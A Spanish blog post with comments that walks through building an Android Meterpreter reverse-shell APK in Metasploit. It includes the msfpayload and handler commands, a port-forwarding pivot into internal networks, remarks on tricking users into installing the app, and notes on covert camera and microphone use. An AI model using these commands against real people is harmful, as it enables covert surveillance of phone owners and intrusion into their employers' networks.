Hace ya una buena temporada que venía haciendo un "marcaje de cerca" a ESTE "Pull Request" que existía en el GitHub sobre una iniciativa para portar el Meterpreter Java para Android, que aunque pueda parecer trivial porque las aplicaciones de Android se programan en Java, no es exactamente portable el Java "habitual" que el Java para la máquina virtual Dalvik que tenemos en nuestros Android.
Durante este tiempo he ido bajándome el fork de Metasploit de timwr, que ha sido una de las personas que más han contribuido en esta nueva versión del Meterpreter, y la verdad es que lleva tiempo siendo bastante estable, salvo algún error que me encontré que tuve que arreglar desempaquetando el APK, modificando alguna cosa y volviéndolo a empaquetar para su uso.
Finalmente, después de mucha espera, hoy mismo he visto que se ha hecho un commit de esta funcinalidad hace unos pocos días, por lo que en teoría ya tenéis la funcionalidad en el fork principal de Metasploit. Vamos a ver si es verdad:
$ ./msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]
[...]
create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.javacreate mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java
La cosa pinta bien ¿no? Sí que parece que hay ficheros que nos hacen pensar que la funcionalidad del nuevo Meterpreter para Android ha sido incorporada. Vamos a ver la ayuda de msfpayload, a ver si confirma nuestra teoría:
$ ./msfpayload -l | grep -i android
android/meterpreter/reverse_tcp Connect back stager, Run a meterpreter server on Android
android/shell/reverse_tcp Connect back stager, Spawn a piped command shell (sh)
¡Genial! Parece que se acabó eso de tener que instalar dos forks de Metasploit, uno el estandar y el otro con esta funcionalidad. Vamos a generar un APK con un Meterpreter con reverse shell, a ver si conseguimos que alguien se lo instale y jugamos un poco con él :)
$ ./msfpayload android/meterpreter/reverse_tcp LHOST=11.22.33.44 R > meter.apk
Tenemos que decirle a msfpayload que use la salida RAW. Eso en otros payloads nos sacaría el shellcode sin formato, pero en el caso de Android nos saca el APK. Veámoslo:
$ file meter.apk
meter.apk: Zip archive data, at least v2.0 to extract
Nos dice que es un ZIP, pero es que en realidad un fichero APK no es más que un ZIP que contiene una serie de ficheros con un formato determinado. Ahora solo tenemos que instalar la aplicación en un Android, generalmente con algún tipo de engaño. Este APK es más bien una prueba de concepto, porque viene con un icono azul de Metasploit, pero podría esconderse el mismo código en una aplicación que "diera el pego" y el efecto sería el mismo. Al arrancar la aplicación se recibe la conexión inversa.
$ ./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E
Ya hemos comprobado que el Meterpreter para Android, funcionar funciona, pero lo que no sabemos es que funcionalidades tiene. Evidentemente, como sucede en las versiones Java y Linux, la funcionalidad es mucho más reducida que en la versión para Windows, pero aún así hay funcionalidades muy interesantes que nos pueden servir para ilustrar los riesgos de seguridad de un dispositivo móvil. Por ejemplo, viene con funcionalidad para realizar fotografías empleando tanto la cámara delantera como la trasera, si estuviera disponible. Otra funcionalidad que me pareció extremadamente interesante fue la posibilidad de activar el micrófono y usar el terminal como un micro oculto. Esta no conseguí hacerla funcionar en el teléfono que lo probé, pero supongo que poco a poco irán puliendo estos detalles.
Imagínatelo, comprometer un terminal móvil y poder escuchar y ver por donde va el usuario. Sin duda un gran trabajo de la gente que ha contribuido con este módulo y de la gente de Rapid7 al ayudar a su integración en Metasploit.
Otra de las funcionalidades que pueden impresionar menos a nivel mediático, pero que resultan muy peligroso a nivel corporativo, es la posibilidad de hacer port-relaying desde el terminal móvil. Digo que interesa a nivel corporativo porque, a un usuario "de casa", no se saca nada haciendo un port-relay, pero en una empresa... ¿qué ocurre si hacemos esto cuando el usuario tiene levantada la VPN que le da acceso a la red interna de la empresa?
meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80->
Lo dicho, un gran trabajo de la colaboración de la comunidad y del equipo de desarrollo de Metasploit que seguro que nos va a dar mucho juego.
18 comentarios :
¡muchas gracias por el apunte!
Muy bueno, gracias ;)
Interesante José, Muy interesante, lo voy a probar en cuanto tenga un poco de tiempo. Artículo muy interesante y un gran aporte.
Gracias a todos :)
Los que se lo han currado son los que han portado el Meterpreter a Android, que ha debido ser un trabajo de chinos. Yo solo lo he probado :P
Buenas, justo lo que tenia pensado yo, han echo trabajo por mi.
Buen post!
Un saludo
Interesante artículo!! Muy buena información. Me mola un huevo tu blog, eres un crack.
Saludos!!
solo falta un tutorial para inyectar el meter en otra app... y ya caramelitos de colores!
saludos!
Hola Jose, aprovecho para felicitarte por tu blog y hacerte una consulta: queria probar el modulo del meterpreter para android pero no consigo instalarlo con el update de metasploit. Que solucion me propones? disculpa mi ignorancia manifiesta..
Saludos!
Felicidades por tu blog, muy currado. Como comentas en tu análisis el apk generado tiene sus limitaciones puesto que depende de que el usuario pulse el botón en el dispositivo comprometido, y por tanto, hay que modificar el fuente de tal forma que el apk generado de más el pego, soy novato en ésto y quizás lo que pregunto es absurdo, pero donde se pueden obtener los fuentes para poder modificar y general una apk diferente a la PoC? Gracias y saludos a todos.
Hola Marta, gracias por tus comentarios :)
En general, en el directorio de Metasploit external/source puedes encontrar el código fuente de algunos exploits que en el correspondiente fichero ruby están ya en código binario, clases de java con exploits, etc.
En este caso, la carpeta se llama "javapayload", que tiene un fichero README que dice lo siguiente:
$ cat /opt/msf4/external/source/javapayload/README
Java Payload source code has moved to its own repository, hosted at
https://github.com/rapid7/metasploit-javapayload
Ya lo sabes :) Descargate de github el código fuente y la puedes juguetear por tu cuenta.
Metasploit genera el apk, pero esta vacía, 0 bytes, entonces no la puedo instalar, alguien podría explicarme que hago mal? Gracias
Con solo esa información poco te puedo decir, pero seguramente estás eligiendo mal los parámetros y por eso no te genera nada. Lo de que el APK lo genere es normal, siempre lo hace cuando usas la redirección de la salida, aunque sea vacío.
Gracias por tu respuesta, ya he conseguido generarlo, ahora el problema viene al instalarlo, siempre dice :" Se ha producido un error al instalar el paquete ". Lo instaló en mi móvil que es Android 4.4.2, alguna solución, será algo de los permisos o habrá que modificar algo del apk?Aquí me he quedado estancado. Gracias
Hola @Anonimo, la verdad es que los mensajes de error que muestra Android a los usuarios no son muy allá, pero si activas el USB debugging y haces un "adb logcat" encontrarás mucha más información que te podrá ayudar con este o con otros problemas.
En este caso, estoy casi convencido de que el problema es que el APK no esté formado. Aunque actives la opción de confiar en fuentes desconocidas, las aplicaciones de Android deben estar firmadas, aunque sea con un certificado auto-firmado, sino no funcionarán.
Hay muchos totorales por Internet que te ayudarán en este proceso.
¡Suerte!
Gracias,voy probar firmandola con eclipse,a ver que pasa.Un saludo.
Oye, te funcionó?
Actualmente los apk (con mfsvenom) salen igual, archivo de 0 bytes...
Starting the payload handler...
Se queda ahí, no me muestra nada después de instalar el apk...¿porqué?
Con esa información la verdad es que no puedo deciros mucho. Como mínimo necesitaría el output de adb logcat, a ver si dice algo. Normalmente cuando a mi me pasan estas cosas es porque he metido la pata con algún parámetro (LHOST, o tengo el FW activado, o he puesto una IP que no es enrutable desde Internet, o cosas así).
Si el APK os sale de 0 bytes eso es que habéis configurado mal las opciones de msfvenom, eso seguro. Recordad que el formato de salida tiene que ser RAW, que eso ya te saca el APK.
Publicar un comentario